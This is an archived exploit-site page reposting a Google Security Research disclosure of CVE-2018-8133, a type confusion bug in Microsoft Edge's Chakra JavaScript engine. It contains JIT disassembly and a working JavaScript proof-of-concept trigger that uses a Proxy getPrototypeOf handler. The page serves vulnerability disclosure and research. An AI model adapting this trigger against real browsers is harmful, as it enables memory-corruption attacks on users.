exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Chakra EntrySimpleObjectSlotGetter Type Confusion

Microsoft Edge Chakra EntrySimpleObjectSlotGetter Type Confusion
Posted May 31, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an issue where EntrySimpleObjectSlotGetter can have side effects that cause a type confusion vulnerability.

tags | exploit
advisories | CVE-2018-8133
SHA-256 | dac02c231e7c37da88c204ab8918570d1df7d88c3ea07b2805f9d5afd9081f44

Microsoft Edge Chakra EntrySimpleObjectSlotGetter Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: EntrySimpleObjectSlotGetter can have side effects 

CVE-2018-8133


function opt(w, arr) {
arr[0] = 1.1;
let res = w.event;
arr[0] = 2.3023e-320;
return res;
}

let arr = [1.1];
for (let i = 0; i < 10000; i++) {
opt(window, arr);
}

The above code will be compiled as follows:
000001a8`8000122b 48b8503dcfd5ff7f0000 mov rax,offset chakra!DOMFastPath<7>::EntrySimpleObjectSlotGetter (00007fff`d5cf3d50) // w.event
000001a8`80001235 48ffd0 call rax
000001a8`80001238 488b8e30bdf0ff mov rcx,qword ptr [rsi-0F42D0h]
000001a8`8000123f f2480f104158 movsd xmm0,mmword ptr [rcx+58h]
000001a8`80001245 f2490f11442418 movsd mmword ptr [r12+18h],xmm0 // arr[0] = 2.3023e-320;
...

As you can see, there's no "ImplicitCallFlags" check after the call to the "EntrySimpleObjectSlotGetter" method. The code was generated based on the assumption that the method has no side effects. But in fact, the method can have side effects. The method wraps the return value using the "CrossSite::MarshalVar" method which traverses up the prototype chain of the given object using the "GetPrototype" method, since the "GetPrototype" method may invoke the "getPrototypeOf" handler of a Proxy object, changing the type of the array in the handler will lead to type confusion.

PoC:
function opt(w, arr) {
arr[0] = 1.1;
let res = w.event;
arr[0] = 2.3023e-320;
return res;
}

function main() {
let f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow;

for (let i = 0; i < 100000; i++) {
opt(window, [1.1]);
}

let set_callback = new f.contentWindow.Function('callback', `
window.__lookupSetter__('event').call(parent, new Proxy({}, {
getPrototypeOf() {
callback();
return {};
}
}));`);

let arr = [1.1];
set_callback(() => {
arr[0] = {};
});

opt(window, arr);
alert(arr);
}

main();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close